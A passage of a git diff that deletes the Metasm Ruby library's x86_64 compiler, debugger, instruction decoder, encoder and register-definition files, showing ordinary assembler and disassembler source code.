::Integer - if type.integral? or type.pointer? - log2 = lambda { |v| - # TODO lol - i = 0 - i += 1 while (1 << i) < v - i if (1 << i) == v - } - if (lr = log2[rr]).kind_of? ::Integer - case op - when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) - when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) - when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) - end - else - # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. - end - end - end - - if type.float? - raise 'float unhandled' - else - c_cexpr_inner_arith_int(l, op, r, type) - end - end - - # compile an integral arithmetic expression, reg-sized - def c_cexpr_inner_arith_int(l, op, r, type) - op = case op - when :+; 'add' - when :-; 'sub' - when :&; 'and' - when :|; 'or' - when :^; 'xor' - when :>>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - case op - when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of?(ModRM) and r.kind_of?(ModRM) - r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz # add rax, word [moo] - unuse r - r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [rax], bl - instr op, l, i_to_i32(r) - when 'shr', 'sar', 'shl' - if r.kind_of? Expression - instr op, l, r - else - # XXX bouh - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - unuse r - if r.val != 1 - rcx = Reg.new(1, 64) - instr 'xchg', rcx, Reg.new(r.val, 64) - l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 - end - instr op, l, Reg.new(1, 8) - instr 'xchg', rcx, Reg.new(r.val, 64) if r.val != 1 - end - when 'mul' - if l.kind_of? ModRM - if r.kind_of? Expression - ll = findreg - instr 'imul', ll, l, r - else - ll = make_volatile(l, type) - unuse ll - instr 'imul', ll, r - end - instr 'mov', l, ll - else - r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz - instr 'imul', l, r - end - unuse r - when 'div', 'mod' - lv = l.val if l.kind_of? Reg - rax = Reg.from_str 'rax' - rdx = Reg.from_str 'rdx' - if @state.used.include? rax.val and lv != rax.val - instr 'push', rax - saved_rax = true - end - if @state.used.include? rdx.val and lv != rdx.val - instr 'push', rdx - saved_rdx = true - end - - instr 'mov', rax, l if lv != rax.val - - if r.kind_of? Expression - instr 'push', r - rsp = Reg.from_str 'rsp' - r = ModRM.new(@cpusz, 64, nil, nil, rsp, nil) - need_pop = true - end - - if type.specifier == :unsigned - instr 'mov', rdx, Expression[0] - instr 'div', r - else - instr 'cdq' - instr 'idiv', r - end - unuse r - - instr 'add', rsp, 8 if need_pop - - if op == 'div' - instr 'mov', l, rax if lv != rax.val - else - instr 'mov', l, rdx if lv != rdx.val - end - - instr 'pop', rdx if saved_rdx - instr 'pop', rax if saved_rax - end - end - - def c_cexpr(expr) - case expr.op - when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', - :>, :<, :<=, :>=, :==, :'!=', :'!' - # skip no-ops - c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression - c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression - else unuse c_cexpr_inner(expr) - end - end - - def c_block_exit(block) - @state.cache.delete_if { |k, v| - case v - when C::Variable; block.symbol.index v - when Address; block.symbol.index v.target - end - } - block.symbol.each { |s| - unuse @state.bound.delete(s) - } - end - - def c_decl(var) - if var.type.kind_of? C::Array and - var.type.length.kind_of? C::CExpression - reg = c_cexpr_inner(var.type.length) - unuse reg - instr 'sub', Reg.new(4, @cpusz), reg - # TODO - end - end - - def c_ifgoto(expr, target) - case o = expr.op - when :<, :>, :<=, :>=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM - r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz - l = make_volatile(l, expr.type) if l.kind_of?(ModRM) and r.kind_of?(Reg) and r.sz != l.sz - if l.kind_of? Expression - o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o - l, r = r, l - end - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - rr = i_to_i32(r) - rr = Reg.new(rr.val, l.sz) if rr.kind_of? Reg and rr.sz != l.sz # XXX - instr 'cmp', l, rr - elsif expr.lexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - unuse l, r - op = 'j' + getcc(o, expr.lexpr.type) - instr op, Expression[target] - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - unuse r - instr 'test', r, r - instr 'jz', Expression[target] - else - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'test', r, r - instr 'jnz', Expression[target] - end - end - - def c_goto(target) - instr 'jmp', Expression[target] - end - - def c_label(name) - @state.cache.clear - @source << '' << Label.new(name) - end - - def c_return(expr) - return if not expr - @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 - end - - def c_asm(stmt) - if stmt.output or stmt.input or stmt.clobber - raise # TODO (handle %%0 => rax, gas, etc) - else - raise 'asm refering variables unhandled' if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } - @source << stmt.body - end - end - - def c_init_state(func) - @state = State.new(func) - args = func.type.args.dup - if @parser.lexer.definition['__MS_X86_64_ABI__'] - @state.args_space = 32 - @state.regargs = [1, 2, 8, 9] - else - @state.args_space = 0 - @state.regargs = [7, 6, 2, 1, 8, 9] - end - c_reserve_stack(func.initializer) - off = @state.offset.values.max.to_i - off = 0 if off < 0 - - argoff = 2*8 + @state.args_space - rlist = @state.regargs.dup - args.each { |a| - if a.has_attribute_var('register') - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - elsif r = rlist.shift - if @state.args_space > 0 - # use reserved space to spill regargs - off = -16-8*@state.regargs.index(r) - else - off = c_reserve_stack_var(a, off) - end - @state.offset[a] = off - else - @state.offset[a] = -argoff - argoff = (argoff + sizeof(a) + 7) / 8 * 8 - end - } - if not @state.offset.values.grep(::Integer).empty? - @state.saved_rbp = Reg.new(5, @cpusz) - @state.used << 5 - end - end - - def c_prolog - localspc = @state.offset.values.grep(::Integer).max - return if @state.func.attributes.to_a.include? 'naked' - @state.dirty -= @state.abi_trashregs - if localspc - localspc = (localspc + 7) / 8 * 8 - if @state.args_space > 0 and (localspc/8 + @state.dirty.length) & 1 == 1 - # ensure 16-o stack align on windows - localspc += 8 - end - ebp = @state.saved_rbp - esp = Reg.new(4, ebp.sz) - instr 'push', ebp - instr 'mov', ebp, esp - instr 'sub', esp, Expression[localspc] if localspc > 0 - - rlist = @state.regargs.dup - @state.func.type.args.each { |a| - if rn = a.has_attribute_var('register') - r = Reg.from_str(rn).val - elsif r = rlist.shift - else next - end - v = findvar(a) - instr 'mov', v, Reg.new(r, v.sz) - } - elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 - instr 'sub', Reg.new(4, @cpusz), Expression[8] - end - @state.dirty.each { |reg| - instr 'push', Reg.new(reg, @cpusz) - } - end - - def c_epilog - return if @state.func.attributes.to_a.include? 'naked' - @state.dirty.reverse_each { |reg| - instr 'pop', Reg.new(reg, @cpusz) - } - if ebp = @state.saved_rbp - instr 'mov', Reg.new(4, ebp.sz), ebp - instr 'pop', ebp - elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 - instr 'add', Reg.new(4, @cpusz), Expression[8] - end - instr 'ret' - end - - def c_program_epilog - end -end - - def new_ccompiler(parser, exe=ExeFormat.new) - exe.cpu = self if not exe.instance_variable_get('@cpu') - CCompiler.new(parser, exe) - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/debug.rb b/lib/metasm/metasm/cpu/x86_64/debug.rb deleted file mode 100644 index 10d35e5507..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/debug.rb +++ /dev/null @@ -1,59 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' - -module Metasm -class X86_64 - def dbg_register_pc - @dbg_register_pc ||= :rip - end - def dbg_register_flags - @dbg_register_flags ||= :rflags - end - - def dbg_register_list - @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(64).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) - end - - def dbg_func_arg(dbg, argnr) - if dbg.class.name =~ /win/i - list = [:rcx, :rdx, :r8, :r9] - off = 0x20 - else - list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - off = 0 - end - if r = list[argnr] - dbg.get_reg_value(r) - else - argnr -= list.length - dbg.memory_read_int(Expression[:esp, :+, off + 8 + 8*argnr]) - end - end - def dbg_func_arg_set(dbg, argnr, arg) - if dbg.class.name =~ /win/i - list = [:rcx, :rdx, :r8, :r9] - off = 0x20 - else - list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - off = 0 - end - if r = list[argnr] - dbg.set_reg_value(r, arg) - else - argnr -= list.length - dbg.memory_write_int(Expression[:esp, :+, off + 8 + 8*argnr], arg) - end - end - - # what's left is inherited from Ia32 -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/decode.rb b/lib/metasm/metasm/cpu/x86_64/decode.rb deleted file mode 100644 index 59729fa054..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/decode.rb +++ /dev/null @@ -1,311 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/decode' - -module Metasm -class X86_64 - class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, pfx={}) - m = (byte >> 6) & 3 - rm = byte & 7 - - if m == 3 - rm |= 8 if pfx[:rex_b] and (regclass != SimdReg or opsz != 64) # mm8 -> mm0 - return regclass.new(rm, opsz) - end - - adsz ||= 64 - - # mod 0/1/2 m 4 => sib - # mod 0 m 5 => rip+imm - # sib: i 4 => no index, b 5 => no base - - s = i = b = imm = nil - if rm == 4 - sib = edata.get_byte.to_i - - ii = (sib >> 3) & 7 - ii |= 8 if pfx[:rex_x] - if ii != 4 - s = 1 << ((sib >> 6) & 3) - if pfx[:mrmvex] - i = SimdReg.new(ii, pfx[:mrmvex]) - else - i = Reg.new(ii, adsz) - end - - end - - bb = sib & 7 - if bb == 5 and m == 0 - m = 2 # :i32 follows - else - bb |= 8 if pfx[:rex_b] - b = Reg.new(bb, adsz) - end - elsif rm == 5 and m == 0 - b = Reg.new(16, adsz) - m = 2 # :i32 follows - else - rm |= 8 if pfx[:rex_b] - b = Reg.new(rm, adsz) - end - - case m - when 1; itype = :i8 - when 2; itype = :i32 - end - imm = Expression[edata.decode_imm(itype, endianness)] if itype - - if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x100_0000 - # probably a base address -> unsigned - imm = Expression[imm.reduce & ((1 << adsz) - 1)] - end - - opsz = pfx[:argsz] if pfx[:argsz] - new adsz, opsz, s, i, b, imm, seg - end - end - - def decode_prefix(instr, byte) - x = super(instr, byte) - if instr.prefix.delete :rex - # rex ignored if not last - instr.prefix.delete :rex_b - instr.prefix.delete :rex_x - instr.prefix.delete :rex_r - instr.prefix.delete :rex_w - end - if byte & 0xf0 == 0x40 - x = instr.prefix[:rex] = byte - instr.prefix[:rex_b] = 1 if byte & 1 > 0 - instr.prefix[:rex_x] = 1 if byte & 2 > 0 - instr.prefix[:rex_r] = 1 if byte & 4 > 0 - instr.prefix[:rex_w] = 1 if byte & 8 > 0 - end - x - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix || {} - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - field_val_r = lambda { |f| - v = field_val[f] - v |= 8 if v and (op.fields[f][1] == 3 ? pfx[:rex_r] : pfx[:rex_b]) # gruick ? - v - } - - pfx[:rex_r] = 1 if op.fields[:vex_r] and field_val[:vex_r] == 0 - pfx[:rex_b] = 1 if op.fields[:vex_b] and field_val[:vex_b] == 0 - pfx[:rex_x] = 1 if op.fields[:vex_x] and field_val[:vex_x] == 0 - pfx[:rex_w] = 1 if op.fields[:vex_w] and field_val[:vex_w] == 1 - di.instruction.prefix = pfx if not di.instruction.prefix and not pfx.empty? # for opsz(di) + vex_w - - case op.props[:needpfx] - when 0x66; pfx.delete :opsz - when 0x67; pfx.delete :adsz - when 0xF2, 0xF3; pfx.delete :rep - end - - if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] - case pfx.delete(:seg).val - when 1; pfx[:jmphint] = 'hintnojmp' - when 3; pfx[:jmphint] = 'hintjmp' - end - end - - opsz = op.props[:argsz] || opsz(di) - adsz = pfx[:adsz] ? 32 : 64 - mmxsz = (op.props[:xmmx] && pfx[:opsz]) ? 128 : 64 - - op.args.each { |a| - di.instruction.args << case a - when :reg; Reg.new field_val_r[a], opsz - when :eeec; CtrlReg.new field_val_r[a] - when :eeed; DbgReg.new field_val_r[a] - when :eeet; TstReg.new field_val_r[a] - when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regmmx; SimdReg.new field_val[a], mmxsz # rex_r ignored - when :regxmm; SimdReg.new field_val_r[a], 128 - when :regymm; SimdReg.new field_val_r[a], 256 - - when :farptr; Farptr.decode edata, @endianness, opsz - when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; Expression[edata.decode_imm(a, @endianness)] - when :i # 64bit constants are sign-extended from :i32 - type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym ) - v = edata.decode_imm(type, @endianness) - v &= 0xffff_ffff_ffff_ffff if opsz == 64 and op.props[:unsigned_imm] and v.kind_of? Integer - Expression[v] - - when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx.delete(:seg)) - when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg), Reg, pfx - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz]) - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) - when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) - - when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) - when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) - when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) - when :i4xmm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 128) - when :i4ymm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 256) - - when :regfp; FpReg.new field_val[a] - when :imm_val1; Expression[1] - when :imm_val3; Expression[3] - when :reg_cl; Reg.new 1, 8 - when :reg_eax; Reg.new 0, opsz - when :reg_dx; Reg.new 2, 16 - when :regfp0; FpReg.new nil - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' - if op.name == 'movsxd' - di.instruction.args[1].sz = 32 - elsif opsz == 8 - di.instruction.args[1].sz = 8 - else - di.instruction.args[1].sz = 16 - end - if pfx[:rex_w] - di.instruction.args[0].sz = 64 - elsif pfx[:opsz] - di.instruction.args[0].sz = 16 - else - di.instruction.args[0].sz = 32 - end - elsif op.name == 'crc32' - di.instruction.args[0].sz = 32 - end - - # sil => bh - di.instruction.args.each { |a| a.val += 12 if a.kind_of? Reg and a.sz == 8 and not pfx[:rex] and a.val >= 4 and a.val <= 8 } - - case pfx.delete(:rep) - when :nz - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repnz' - end - when :z - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repz' - end - end - - di - end - - def decode_instr_interpret(di, addr) - super(di, addr) - - # [rip + 42] => [rip - addr + foo] - if m = di.instruction.args.grep(ModRM).first and - ((m.b and m.b.val == 16) or (m.i and m.i.val == 16)) and - m.imm and m.imm.reduce.kind_of?(Integer) - m.imm = Expression[[:-, di.address + di.bin_length], :+, di.address+di.bin_length+m.imm.reduce] - end - - di - end - - def opsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:rex_w]; 64 - elsif di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 16 - elsif di and (op || di.opcode).props[:auto64]; 64 - else 32 - end - end - - def adsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 32 - else 64 - end - end - - def register_symbols - [:rax, :rcx, :rdx, :rbx, :rsp, :rbp, :rsi, :rdi, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15] - end - - # returns a DecodedFunction from a parsed C function prototype - def decode_c_function_prototype(cp, sym, orig=nil) - sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) - df = DecodedFunction.new - orig ||= Expression[sym.name] - - new_bt = lambda { |expr, rlen| - df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) - } - - # return instr emulation - if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' - df.noreturn = true - else - new_bt[Indirection[:rsp, @size/8, orig], nil] - end - - # register dirty (MS standard ABI) - [:rax, :rcx, :rdx, :r8, :r9, :r10, :r11].each { |r| - df.backtrace_binding.update r => Expression::Unknown - } - - if cp.lexer.definition['__MS_X86_64_ABI__'] - reg_args = [:rcx, :rdx, :r8, :r9] - else - reg_args = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - end - - al = cp.typesize[:ptr] - df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] - - # scan args for function pointers - # TODO walk structs/unions.. - stackoff = al - sym.type.args.to_a.zip(reg_args).each { |a, r| - if not r - r = Indirection[[:rsp, :+, stackoff], al, orig] - stackoff += (cp.sizeof(a) + al - 1) / al * al - end - if a.type.untypedef.kind_of? C::Pointer - pt = a.type.untypedef.type.untypedef - if pt.kind_of? C::Function - new_bt[r, nil] - df.backtracked_for.last.detached = true - elsif pt.kind_of? C::Struct - new_bt[r, al] - else - new_bt[r, cp.sizeof(nil, pt)] - end - end - } - - df - end - - def backtrace_update_function_binding_check(dasm, faddr, f, b) - # TODO save regs according to ABI - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/encode.rb b/lib/metasm/metasm/cpu/x86_64/encode.rb deleted file mode 100644 index cba3e13c8f..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/encode.rb +++ /dev/null @@ -1,293 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/encode' - -module Metasm -class X86_64 - class ModRM - def self.encode_reg(reg, mregval = 0) - v = reg.kind_of?(Reg) ? reg.val_enc : reg.val & 7 - 0xc0 | (mregval << 3) | v - end - - def encode(reg = 0, endianness = :little) - reg = reg.val if reg.kind_of? Ia32::Argument - - ret = EncodedData.new << (reg << 3) - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - if not self.b and not self.i - # imm only, use sib - or_bits[4] - imm = self.imm || Expression[0] - [ret << ((4 << 3) | 5) << imm.encode(:i32, endianness)] - - elsif (self.b and self.b.val == 16) or (self.i and self.i.val == 16) # rip+imm (rip == addr of the octet after the current instr) - # should have been filtered by #parse, but just in case - raise "invalid rip addressing #{self}" if (self.i and self.b) or (self.s and self.s != 1) - or_bits[5] - imm = self.imm || Expression[0] - [ret << imm.encode(:i32, endianness)] - - elsif not self.b and self.s != 1 - # sib with no b - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 # XXX 12 ? - or_bits[4] - s = {8=>3, 4=>2, 2=>1}[@s] - imm = self.imm || Expression[0] - fu = (s << 6) | (@i.val_enc << 3) | 5 - fu = fu.chr if s >= 2 # rb1.9 encoding fix - [ret << fu << imm.encode(:i32, endianness)] - else - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - - if not self.i or (not self.b and self.s == 1) - # no sib byte (except for [esp]) - @s, @i, @b = nil, nil, @s if not self.b - or_bits[@b.val_enc] - ret << 0x24 if @b.val_enc == 4 # XXX val_enc ? - else - # sib - or_bits[4] - - @b, @i = @i, @b if @s == 1 and @i.kind_of?(Reg) and (@i.val_enc == 4 or @b.val_enc == 5) - - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 - - s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] - fu = (s << 6) | (@i.val_enc << 3) | @b.val_enc - fu = fu.chr if s >= 2 # rb1.9 encoding fix - ret << fu - end - - imm ||= 0 if @b.val_enc == 5 - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1<<6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2<<6] - [ret << Expression.encode_imm(imm, :a32, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - rets, ret = ret, rets # or_bits[] modifies ret directly - or_bits[2<<6] - ret << @imm.encode(:a32, endianness) - [ret, rets] - end - else - [ret] - end - end - end - end - - # returns all forms of the encoding of instruction i using opcode op - # program may be used to create a new label for relative jump/call - def encode_instr_op(program, i, op) - base = op.bin.dup - oi = op.args.zip(i.args) - set_field = lambda { |f, v| - fld = op.fields[f] - base[fld[0]] |= v << fld[1] - } - - # - # handle prefixes and bit fields - # - pfx = i.prefix.map { |k, v| - case k - when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] - when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] - when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] - when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] - end - }.compact.pack 'C*' - - rex_w = rex_r = rex_x = rex_b = 0 - if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' - case i.args[0].sz - when 64; rex_w = 1 - when 32 - when 16; pfx << 0x66 - end - elsif op.name == 'crc32' - case i.args[1].sz - when 64; rex_w = 1 - when 32; - when 16; pfx << 0x66 - end - else - opsz = op.props[:argsz] || i.prefix[:sz] - oi.each { |oa, ia| - case oa - when :reg, :reg_eax, :modrm, :mrm_imm - raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz - opsz = ia.sz - end - } - opsz ||= 64 if op.props[:auto64] - opsz = op.props[:opsz] if op.props[:opsz] # XXX ? - case opsz - when 64; rex_w = 1 if not op.props[:auto64] and (not op.props[:argsz] or op.props[:opsz] == 64) - when 32; raise EncodeError, "Incompatible arg size in #{i}" if op.props[:auto64] - when 16; pfx << 0x66 - end - end - opsz ||= @size - - # addrsize override / segment override / rex_bx - if mrm = i.args.grep(ModRM).first - mrm.encode(0, @endianness) if mrm.b or mrm.i # may reorder b/i, which must be correct for rex - rex_b = 1 if mrm.b and mrm.b.val_rex.to_i > 0 - rex_x = 1 if mrm.i and mrm.i.val_rex.to_i > 0 - pfx << 0x67 if (mrm.b and mrm.b.sz == 32) or (mrm.i and mrm.i.sz == 32) or op.props[:adsz] == 32 - pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg - elsif op.props[:adsz] == 32 - pfx << 0x67 - end - - - # - # encode embedded arguments - # - postponed = [] - oi.each { |oa, ia| - case oa - when :reg - set_field[oa, ia.val_enc] - if op.fields[:reg][1] == 3 - rex_r = ia.val_rex || 0 - else - rex_b = ia.val_rex || 0 - end - when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm - set_field[oa, ia.val & 7] - rex_r = 1 if ia.val > 7 - pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 - when :vexvreg, :vexvxmm, :vexvymm - set_field[:vex_vvvv, ia.val ^ 0xf] - when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 - # implicit - when :modrm, :modrmmmx, :modrmxmm, :modrmymm - # postpone, but we must set rex now - case ia - when ModRM - ia.encode(0, @endianness) # could swap b/i - rex_x = ia.i.val_rex || 0 if ia.i - rex_b = ia.b.val_rex || 0 if ia.b - when Reg - rex_b = ia.val_rex || 0 - else - rex_b = ia.val >> 3 - end - postponed << [oa, ia] - else - postponed << [oa, ia] - end - } - - if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? - # reg field of modrm - regval = (base[-1] >> 3) & 7 - base.pop - end - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression - postlabel = program.new_label('post'+op.name) - target = postponed.first[1] - target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr - postponed.first[1] = Expression[target, :-, postlabel] - end - - pfx << op.props[:needpfx] if op.props[:needpfx] - - if op.fields[:vex_r] - set_field[:vex_r, rex_r ^ 1] - set_field[:vex_x, rex_x ^ 1] if op.fields[:vex_x] - set_field[:vex_b, rex_b ^ 1] if op.fields[:vex_b] - set_field[:vex_w, rex_w] if op.fields[:vex_w] - elsif rex_r + rex_x + rex_b + rex_w >= 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } - rex = 0x40 - rex |= 1 if rex_b == 1 - rex |= 2 if rex_x == 1 - rex |= 4 if rex_r == 1 - rex |= 8 if rex_w == 1 - pfx << rex - end - ret = EncodedData.new(pfx + base.pack('C*')) - - postponed.each { |oa, ia| - case oa - when :modrm, :modrmmmx, :modrmxmm, :modrmymm - if ia.kind_of? ModRM - ed = ia.encode(regval, @endianness) - if ed.kind_of?(::Array) - if ed.length > 1 - # we know that no opcode can have more than 1 modrm - ary = [] - ed.each { |m| ary << (ret.dup << m) } - ret = ary - next - else - ed = ed.first - end - end - else - ed = ModRM.encode_reg(ia, regval) - end - when :mrm_imm; ed = ia.imm.encode("a#{op.props[:adsz] || 64}".to_sym, @endianness) - when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; ed = ia.encode(oa, @endianness) - when :i - type = if opsz == 64 - if op.props[:imm64] - :a64 - else - if _ia = ia.reduce and _ia.kind_of?(Integer) and _ia > 0 and (_ia >> 63) == 1 - # handle 0xffffffff_ffffffff -> -1, which should fit in i32 - ia = Expression[_ia - (1 << 64)] - end - :i32 - end - else - "a#{opsz}".to_sym - end - ed = ia.encode(type, @endianness) - when :i4xmm, :i4ymm - ed = ia.val << 4 # u8 - else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" - end - - if ret.kind_of?(::Array) - ret.each { |e| e << ed } - else - ret << ed - end - } - - # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array - ret.add_export(postlabel, ret.virtsize) if postlabel - - ret - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/main.rb b/lib/metasm/metasm/cpu/x86_64/main.rb deleted file mode 100644 index 7c9b74250c..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/main.rb +++ /dev/null @@ -1,147 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/ia32' - -module Metasm - -# The x86_64, 64-bit extension of the x86 CPU (x64, em64t, amd64...) -class X86_64 < Ia32 - # FpReg, SegReg, Farptr unchanged - - # XMM extended to 16 regs, YMM - class SimdReg < Ia32::SimdReg - double_map 64 => (0..7).map { |n| "mm#{n}" }, - 128 => (0..15).map { |n| "xmm#{n}" }, - 256 => (0..15).map { |n| "ymm#{n}" } - - def val_enc - @val & 7 - end - - def val_rex - @val >> 3 - end - end - - # general purpose registers, all sizes - # 8 new gprs (r8..r15), set bit R in the REX prefix to reference them (or X/B if in ModRM) - # aonethusaontehsanothe with 8bit subreg: with no rex prefix, refers to ah ch dh bh (as usual) - # but whenever the prefix is present, those become unavailable and encodie spl..dil (low byte of rsp/rdi) - class Reg < Ia32::Reg - double_map 8 => %w{ al cl dl bl spl bpl sil dil r8b r9b r10b r11b r12b r13b 